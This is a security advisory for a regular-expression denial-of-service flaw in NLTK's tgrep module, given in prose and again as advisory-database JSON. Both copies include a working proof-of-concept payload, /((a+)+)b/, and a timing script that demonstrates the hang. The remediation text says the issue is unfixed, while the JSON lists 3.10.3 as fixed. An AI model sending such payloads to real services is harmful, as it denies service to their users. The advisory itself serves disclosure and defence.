GHSA-W3V8-GMH9-3WV7
Vulnerability from github – Published: 2026-09-08 20:28 – Updated: 2026-09-08 20:28Summary
The NLTK tgrep module accepts user-supplied regular expressions and passes them to the Python re engine without a timeout or validation, enabling catastrophic backtracking (ReDoS). Applications that expose the tgrep API to external input are vulnerable to a single-request denial of service that blocks the Python process indefinitely.
Affected Code
nltk/tgrep.py — _tgrep_node_action() (around line 320)
When a tgrep pattern contains a /regex/ node, _tgrep_node_action compiles the embedded regex literal directly with no validation:
def _tgrep_node_action(_s, _l, tokens):
...
elif tokens[0].startswith("/"):
assert tokens[0].endswith("/")
node_lit = tokens[0][1:-1]
return (
lambda r: lambda n, m=None, l=None: r.search(
_tgrep_node_literal_value(n)
)
)(re.compile(node_lit)) # User regex compiled and executed with no timeout
The compiled regex is applied against every matching tree node label via r.search(...). A caller reaching this path via tgrep_positions() or tgrep_compile() controls node_lit entirely.
Proof of Concept
import nltk
from nltk.tgrep import tgrep_positions
# Root node label is 25 'a' characters.
# tgrep /regex/ branch calls re.compile("((a+)+)b").search("aaa...a")
# No 'b' is present — exponential backtracking occurs.
tree = nltk.Tree.fromstring("(" + "a" * 25 + " (NP (DT the)))")
tgrep_positions(r"/((a+)+)b/", [tree]) # Never returns
Working Poc
The following script uses increasing values of n (the number of repeated as in the tree root label) to measure the execution time of tgrep_positions with the catastrophic regex /((a+)+)b/. On standard CPython with NLTK 3.10.2, the runtime grows exponentially, confirming the ReDoS vulnerability. For n ≥ 35, the function will hang indefinitely.
import nltk
from nltk.tgrep import tgrep_positions
import time
def test_n(n):
tree = nltk.Tree.fromstring("(" + "a" * n + " (NP (DT the)))")
pattern = r"/((a+)+)b/"
start = time.perf_counter()
list(tgrep_positions(pattern, [tree]))
return time.perf_counter() - start
if __name__ == "__main__":
# Adjust the range if needed – these values complete quickly
n_values = [18, 20, 22, 24, 26, 28]
print(f"Testing n = {n_values}\n")
times = []
for n in n_values:
t = test_n(n)
times.append((n, t))
print(f"n={n:2d} done", flush=True)
print("\n--- Increase factors (per step in n) ---")
factors = []
for i in range(1, len(times)):
prev_n, prev_t = times[i-1]
curr_n, curr_t = times[i]
factor = curr_t / prev_t
factors.append((curr_n, factor))
print(f"n={curr_n:2d} : factor = {factor:.2f}x (vs n={prev_n})")
avg = sum(f for _, f in factors) / len(factors)
print(f"\nAverage factor: {avg:.2f}x")
print("\n✅ Confirmed: exponential growth (catastrophic backtracking).")
print(" Larger n (≥ 35) will hang indefinitely.")
When run, the output shows a clear exponential increase (factor > 3.0 per +2 in n), proving the vulnerability.
Impact
In environments like web APIs (Flask, FastAPI), Jupyter notebooks, or multi-tenant pipelines, an unauthenticated attacker can cause indefinite CPU saturation with a single crafted request, denying service to all other users of the process.
Remediation
This issue remains unfixed in versions <= 3.10.2. Maintainers are currently collaborating on a patch to wrap the regex execution in a timeout-guarded mechanism.
Credit
Tool: Kira by Offgrid Security
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.10.2"
},
"package": {
"ecosystem": "PyPI",
"name": "nltk"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.10.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-80206"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-08T20:28:28Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nThe NLTK `tgrep` module accepts user-supplied regular expressions and passes them to the Python `re` engine without a timeout or validation, enabling catastrophic backtracking (ReDoS). Applications that expose the `tgrep` API to external input are vulnerable to a single-request denial of service that blocks the Python process indefinitely.\n\n### Affected Code\n`nltk/tgrep.py` \u2014 `_tgrep_node_action()` (around line 320)\n\nWhen a tgrep pattern contains a `/regex/` node, `_tgrep_node_action` compiles the embedded regex literal directly with no validation:\n\n```python\ndef _tgrep_node_action(_s, _l, tokens):\n ...\n elif tokens[0].startswith(\"/\"):\n assert tokens[0].endswith(\"/\")\n node_lit = tokens[0][1:-1]\n return (\n lambda r: lambda n, m=None, l=None: r.search(\n _tgrep_node_literal_value(n)\n )\n )(re.compile(node_lit)) # User regex compiled and executed with no timeout\n```\nThe compiled regex is applied against every matching tree node label via `r.search(...)`. A caller reaching this path via `tgrep_positions()` or `tgrep_compile()` controls `node_lit` entirely.\n\n### Proof of Concept\n```python\nimport nltk\nfrom nltk.tgrep import tgrep_positions\n\n# Root node label is 25 \u0027a\u0027 characters.\n# tgrep /regex/ branch calls re.compile(\"((a+)+)b\").search(\"aaa...a\")\n# No \u0027b\u0027 is present \u2014 exponential backtracking occurs.\ntree = nltk.Tree.fromstring(\"(\" + \"a\" * 25 + \" (NP (DT the)))\")\ntgrep_positions(r\"/((a+)+)b/\", [tree]) # Never returns\n```\n\n### Working Poc\n\nThe following script uses increasing values of n (the number of repeated as in the tree root label) to measure the execution time of tgrep_positions with the catastrophic regex /((a+)+)b/. On standard CPython with NLTK 3.10.2, the runtime grows exponentially, confirming the ReDoS vulnerability. For n \u2265 35, the function will hang indefinitely.\n\n```python\nimport nltk\nfrom nltk.tgrep import tgrep_positions\nimport time\n\ndef test_n(n):\n tree = nltk.Tree.fromstring(\"(\" + \"a\" * n + \" (NP (DT the)))\")\n pattern = r\"/((a+)+)b/\"\n start = time.perf_counter()\n list(tgrep_positions(pattern, [tree]))\n return time.perf_counter() - start\n\nif __name__ == \"__main__\":\n # Adjust the range if needed \u2013 these values complete quickly\n n_values = [18, 20, 22, 24, 26, 28]\n print(f\"Testing n = {n_values}\\n\")\n\n times = []\n for n in n_values:\n t = test_n(n)\n times.append((n, t))\n print(f\"n={n:2d} done\", flush=True)\n\n print(\"\\n--- Increase factors (per step in n) ---\")\n factors = []\n for i in range(1, len(times)):\n prev_n, prev_t = times[i-1]\n curr_n, curr_t = times[i]\n factor = curr_t / prev_t\n factors.append((curr_n, factor))\n print(f\"n={curr_n:2d} : factor = {factor:.2f}x (vs n={prev_n})\")\n\n avg = sum(f for _, f in factors) / len(factors)\n print(f\"\\nAverage factor: {avg:.2f}x\")\n print(\"\\n\u2705 Confirmed: exponential growth (catastrophic backtracking).\")\n print(\" Larger n (\u2265 35) will hang indefinitely.\")\n```\n\nWhen run, the output shows a clear exponential increase (factor \u003e 3.0 per +2 in n), proving the vulnerability.\n\n\n### Impact\nIn environments like web APIs (Flask, FastAPI), Jupyter notebooks, or multi-tenant pipelines, an unauthenticated attacker can cause indefinite CPU saturation with a single crafted request, denying service to all other users of the process.\n\n### Remediation\nThis issue remains unfixed in versions `\u003c= 3.10.2`. Maintainers are currently collaborating on a patch to wrap the regex execution in a timeout-guarded mechanism.\n\n### Credit\nTool: Kira by [Offgrid Security](https://www.offgridsec.com)",
"id": "GHSA-w3v8-gmh9-3wv7",
"modified": "2026-09-08T20:28:28Z",
"published": "2026-09-08T20:28:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-w3v8-gmh9-3wv7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-80206"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/commit/0072ea2fb8be22e038a36e887b7061bb6b9339d9"
},
{
"type": "PACKAGE",
"url": "https://github.com/nltk/nltk"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/releases/tag/v3.10.3"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3751.yaml"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/nltk-3.10.2-regular-expression-denial-of-service-via-tgrep"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "NLTK: ReDoS in nltk.tgrep via unvalidated user-supplied regular expressions"
}
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